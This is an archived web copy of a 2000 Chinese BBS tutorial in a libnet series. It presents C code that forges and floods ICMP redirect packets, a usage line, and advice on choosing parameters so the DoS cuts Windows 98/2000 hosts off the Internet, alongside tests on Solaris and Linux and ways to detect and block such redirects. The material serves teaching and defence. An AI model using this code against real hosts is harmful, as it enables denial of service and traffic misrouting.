⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 531.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="532.htm">下一篇</a>]
<hr><p align="left"><small>发信人: scz (小四), 信区: Security <br>

标  题: libnet使用举例(6) <br>

发信站: 武汉白云黄鹤站 (Mon Jul 31 18:02:37 2000), 站内信件 <br>

日期:2000-07-31 15:01 <br>

本篇写libnet程序完成ICMP重定向测试,还是先来看看相关函数: <br>

int libnet_build_icmp_redirect ( <br>

    u_char type, u_char code, u_long gateway, u_short orig_len, <br>

    u_char orig_tos, u_short orig_id, u_short orig_frag, <br>

    u_char orig_ttl, u_char orig_prot, u_long orig_src, <br>

    u_long orig_dst, const u_char * orig_payload, <br>

    int orig_payload_s, u_char * buf ); <br>

在/usr/include/libnet/libnet-headers.h中有如下宏定义: <br>

#define ICMP_REDIRECT 5 <br>

第一个形参type只能设置该值。第二个形参理论上可以设置四种值,对于DoS攻击来 <br>

说,实际只能设置成ICMP_UNREACH_HOST(1),遗憾的是宏的名字牛头不对马嘴,这与 <br>

目标主机是否可达毫无干系,实际意思是只做特定主机路由重定向,网络路由重定向 <br>

已被废弃。gateway指定将来要使用的特定主机路由IP,比如<<libnet使用举例(5)>> <br>

中提到的192.168.8.90,它将出现在192.168.10.60的路由表中,很奇怪这里使用 <br>

little-endian序,而非常用的big-endian序,不排除实现中编程疏漏的可能;对于 <br>

i386/Linux来说,就是主机字节序,编程时注意转换。 <br>

orig_len设置成0,事实上据我实验观察,该值根本未被 <br>

libnet_build_icmp_redirect()使用,所以后来我设置该形参为0;产生的位于ICMP <br>

数据区的IP头固定20字节,头部总长度域固定为20字节,意思是没有任何负载,这个 <br>



函数原型有误导嫌疑。orig_tos设置成0,orig_id用随机数设置,orig_frag设置成0, <br>

  <br>

orig_ttl设置成255,orig_prot设置成IPPROTO_ICMP(1),orig_src用big-endian序 <br>

设置成"攻击目标"IP,比如<<libnet使用举例(5)>>中提到的192.168.10.60, <br>

orig_dst用big-endian序设置成欲干扰的"服务目标"IP,比如 <br>

<<libnet使用举例(5)>>中提到的202.99.11.161,将来产生的特定主机路由就是针对 <br>

该IP寻路而言的。orig_payload设置成NULL,orig_payload_s设置成0。形参buf需要 <br>

指向一个已分配好的数据区,ICMP头从该指针开始。 <br>

其实从orig_len开始的参数如何设置具有很大灵活性,我是从编程简便角度考虑采用 <br>

如上设置,你完全可以不用这些数据,但你必须明确理解你所指定参数的意义,最好 <br>

用NetXray抓取你程序所发送出来的报文,检查一下decode部分。 <br>

涉及到两个校验和的计算。libnet_do_checksum()继续用于计算ICMP报文校验和,这 <br>

个是必须的。另外就是计算位于ICMP数据区的IP头部校验和,如果不计算,将来对应 <br>

校验和域为"无校验和",尽管不为错,同样有效,但感觉不爽,反正我是计算了,同 <br>

样是调用: <br>

Libnet_do_checksum( packet + LIBNET_IP_H + LIBNET_ICMP_REDIRECT_H, <br>

                    IPPROTO_IP, LIBNET_IP_H ); <br>

该函数会自行设置位于ICMP数据区的IP校验和域。 <br>

从上篇的分析中看出,如果要在广域网上发起ICMP重定向攻击,至少需要知道牺牲者 <br>

IP、牺牲者到被干扰服务目标IP的当前路由IP(遵循选路规则),子网掩码(便于伪造 <br>

新的路由IP)。一般来说,牺牲者IP不用多说什么,可后面这个当前路由IP比较难以 <br>

获得,子网掩码一般可以考虑C类网甚至更小。如何获得有效数据,仁者见仁智者见 <br>



智。考虑配合traceroute命令。 <br>

命令行上指定伪造的源IP(不可随机化,必须是当前路由)、攻击目标IP、服务目标IP <br>

起始值(可随机化)、服务目标IP个数、伪造的路由IP(不可随机化,必须是直接路由)、 <br>

  <br>

ICMP重定向报文个数。此次没有端口概念介入,不再允许指定目标IP范围,只能指定 <br>

单个目标IP,从实际使用角度考虑的结果。 <br>

如何察觉、防范ICMP重定向攻击呢?查看路由表最直接。netstat -s还可以察觉那些 <br>

未能奏效的ICMP重定向攻击,因为重定向统计量暴涨,该值一般都是很小很小的。协 <br>

议分析软件、IDS等等都很容易发觉这种攻击企图。利用防火墙限制ICMP重定向报文。 <br>

修改本机系统,根据具体情况屏蔽ICMP重定向报文。 <br>

对于Pwin98,袁哥提供了一个很简单的修改VIP.386的办法,用ultraedit搜索 <br>

83 F9 11 77 08,修改成83 F9 00 75 08,意思就是如果接收到的ICMP包不是 <br>

icmp echo reply就跳转到错误处理。今天拿自己测试的时候,忘记早就修改过 <br>

VIP.386,还以为是程序发出来的包有问题而未能奏效。 <br>

-------------------------------------------------------------------------- <br>

void irdSend ( u_long srcIp, u_long dstIp, u_long svrIp, u_long routeIp, u_l <br>

ong <br>

irdNumber ) <br>

{ <br>

    u_long i; <br>

    /* 构造IP头 */ <br>

    libnet_build_ip( LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H + SCZIRDDATALEN, <br>



/* I <br>

P数据区长度 */ <br>

                     IPTOS_LOWDELAY, <br>

/* I <br>

P tos       */ <br>

                     ( u_short )random(), <br>

/* I <br>

P ID        */ <br>

                     0, <br>

/* f <br>

rag stuff   */ <br>

                     255, <br>

/* T <br>

TL          */ <br>

                     IPPROTO_ICMP, <br>

/* <br>

上  协议     */ <br>

                     srcIp, <br>

/* b <br>

ig-endian序 */ <br>

                     dstIp, <br>

/* <br>

/* <br>

目标IP       */ <br>

                     NULL, <br>

/* <br>

  选项       */ <br>

                     0, <br>

/* <br>

  项长度零   */ <br>

                     packet ); <br>

/* <br>

指向IP头     */ <br>

    /* 构造ICMP重定向报文头 */ <br>

    libnet_build_icmp_redirect( ICMP_REDIRECT,           /* type         */ <br>

                                ICMP_UNREACH_HOST,       /* code         */ <br>

                                // 这里采用little-endian序,很奇怪,不会是实 <br>

现疏 <br>

漏吧 <br>

                                // 对于i386/Linux,就是主机字节序 <br>

                                ntohl( routeIp ),        /* 伪造的路由IP */ <br>

                                0,                       /* 该值任意     */ <br>

                                0,                       /* orig_tos     */ <br>

                                ( u_short )random(),     /* IP ID        */ <br>

                                0,                       /* orig_frag    */ <br>



                                255,                     /* orig_ttl     */ <br>

                                IPPROTO_ICMP,            /* 上层协议类型 */ <br>

                                dstIp,                   /* 注意理解这里 */ <br>

                                svrIp,                   /* 被干扰目标   */ <br>

                                NULL,                    /* orig_payload */ <br>

                                0,                       /* 无选项       */ <br>

                                packet + LIBNET_IP_H );  /* 指向ICMP报头 */ <br>

    // 计算位于ICMP数据区的IP头部校验和,如果不计算,将来对应校验和域为"无校 <br>

验和 <br>

" <br>

    // 尽管不为错,同样有效,但感觉不爽,反正我是计算了 <br>

    Libnet_do_checksum( packet + LIBNET_IP_H + LIBNET_ICMP_REDIRECT_H, <br>

                        IPPROTO_IP, LIBNET_IP_H ); <br>

    // 这里必须意识到,计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕 <br>

之 <br>

后 <br>

    // 我们目的特殊,部分数据提前构造完毕了 <br>

    /* 计算ICMP重定向报文校验和,IP校验和由内核亲自计算 */ <br>

    Libnet_do_checksum( packet, IPPROTO_ICMP, <br>

                        LIBNET_ICMP_REDIRECT_H + LIBNET_IP_H + SCZIRDDATALEN <br>

 ); <br>

    for ( i = 0; i < irdNumber; i++ ) <br>



    { <br>

        /* 发送ICMP重定向报文 */ <br>

        Libnet_write_ip( rawSocket, packet, packet_size ); <br>

    }  /* end of for */ <br>

    return; <br>

}  /* end of irdSend */ <br>

-------------------------------------------------------------------------- <br>

Usage: ./ir [--si srcIp] [--di dstIp] [--svr svrIp] <br>

       [--svrNum svrNumber] [--routeIp routeIp] [--num irdNumber] <br>

选择routeIp的时候有学问。既然是DoS,尽量不要选择那些活动IP,如果只能选择活 <br>

动IP也要避免该IP具有IP Forward能力,否则有可能引发一个合法的ICMP重定向包进 <br>

行修正。 <br>

如果牺牲者是98,就用其自身IP作为routeIp,删不掉,但影响选路、占用内存、消 <br>

耗路由表搜索时间。目前尚未发现冻僵现象,可以实际打掉其访问Internet的能力, <br>

重启动后恢复正常。 <br>

对于2K,只能将routeIp设置成一个非活动同子网IP,无法设置成自身,目前尚未发 <br>

现冻僵现象,可以实际打掉其访问Internet的能力, <br>

route -f add 0.0.0.0 mask 0.0.0.0 192.168.0.1 <br>

后恢复正常,但是在刷新过程中CPU占用率高达100%。 <br>

SPARC/Solaris 2.6/2.7和i386/Linux,根本就没有受ICMP重定向包的任何影响。这 <br>

样说也不正确,做如下实验: <br>

route change default 192.168.8.90 <br>



ping -v 203.207.119.8 <br>

netstat -nr <br>

------------------------------------------------------------ <br>

203.207.119.8        192.168.0.1           UGHD     0      0  <-- 有效 <br>

default              192.168.8.90          UG       0     98 <br>

------------------------------------------------------------ <br>

route delete host 203.207.119.8 192.168.0.1 <br>

ndd /dev/ip \? <br>

ndd -get /dev/ip ip_ignore_redirect <br>

ndd -set /dev/ip ip_ignore_redirect 1 <br>

ping -v 203.207.119.8 <br>

netstat -nr <br>

对比前后效果。Solaris应该做了更严格的判断,在8.90上用NetXray捕获98路由功能 <br>

自动发送的有效ICMP重定向报文,然后立即在10.7上删除刚刚增加上来的特定主机路 <br>

由,用NetXray重新发送重定向报文已经无效。这个判断规则是什么,尚不清楚。 <br>

对于Linux做如下实验: <br>

route del -net 0.0.0.0 gw 192.168.0.1 <br>

route add -net 0.0.0.0 gw 192.168.8.90 <br>

ping -v 203.207.119.8 <br>

netstat -nr <br>

Linux似乎比Solaris更酷,干脆就不遵守RFC,对ICMP重定向报文一概不理。 <br>

<待续> <br>



-- <br>

            也许有一天,他再从海上蓬蓬的雨点中升起, <br>

            飞向西来,再形成一道江流,再冲倒两旁的石壁, <br>

            再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="532.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -